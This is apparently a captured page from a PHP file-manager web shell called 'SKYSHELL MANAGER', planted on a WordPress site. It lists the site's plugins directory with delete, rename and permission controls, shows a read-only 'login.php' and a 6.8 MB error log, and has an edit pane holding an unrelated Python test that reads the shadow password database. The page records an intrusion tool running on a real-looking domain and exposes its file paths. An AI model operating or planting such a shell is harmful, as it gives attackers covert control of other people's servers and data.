📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
6836.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: test_spwd.py
import os import unittest from test import support spwd = support.import_module('spwd') @unittest.skipUnless(hasattr(os, 'geteuid') and os.geteuid() == 0, 'root privileges required') class TestSpwdRoot(unittest.TestCase): def test_getspall(self): entries = spwd.getspall() self.assertIsInstance(entries, list) for entry in entries: self.assertIsInstance(entry, spwd.struct_spwd) def test_getspnam(self): entries = spwd.getspall() if not entries: self.skipTest('empty shadow password database') random_name = entries[0].sp_namp entry = spwd.getspnam(random_name) self.assertIsInstance(entry, spwd.struct_spwd) self.assertEqual(entry.sp_namp, random_name) self.assertEqual(entry.sp_namp, entry[0]) self.assertEqual(entry.sp_namp, entry.sp_nam) self.assertIsInstance(entry.sp_pwdp, str) self.assertEqual(entry.sp_pwdp, entry[1]) self.assertEqual(entry.sp_pwdp, entry.sp_pwd) self.assertIsInstance(entry.sp_lstchg, int) self.assertEqual(entry.sp_lstchg, entry[2]) self.assertIsInstance(entry.sp_min, int) self.assertEqual(entry.sp_min, entry[3]) self.assertIsInstance(entry.sp_max, int) self.assertEqual(entry.sp_max, entry[4]) self.assertIsInstance(entry.sp_warn, int) self.assertEqual(entry.sp_warn, entry[5]) self.assertIsInstance(entry.sp_inact, int) self.assertEqual(entry.sp_inact, entry[6]) self.assertIsInstance(entry.sp_expire, int) self.assertEqual(entry.sp_expire, entry[7]) self.assertIsInstance(entry.sp_flag, int) self.assertEqual(entry.sp_flag, entry[8]) with self.assertRaises(KeyError) as cx: spwd.getspnam('invalid user name') self.assertEqual(str(cx.exception), "'getspnam(): name not found'") self.assertRaises(TypeError, spwd.getspnam) self.assertRaises(TypeError, spwd.getspnam, 0) self.assertRaises(TypeError, spwd.getspnam, random_name, 0) try: bytes_name = os.fsencode(random_name) except UnicodeEncodeError: pass else: self.assertRaises(TypeError, spwd.getspnam, bytes_name) @unittest.skipUnless(hasattr(os, 'geteuid') and os.geteuid() != 0, 'non-root user required') class TestSpwdNonRoot(unittest.TestCase): def test_getspnam_exception(self): name = 'bin' try: with self.assertRaises(PermissionError) as cm: spwd.getspnam(name) except KeyError as exc: self.skipTest("spwd entry %r doesn't exist: %s" % (name, exc)) if __name__ == "__main__": unittest.main()
Save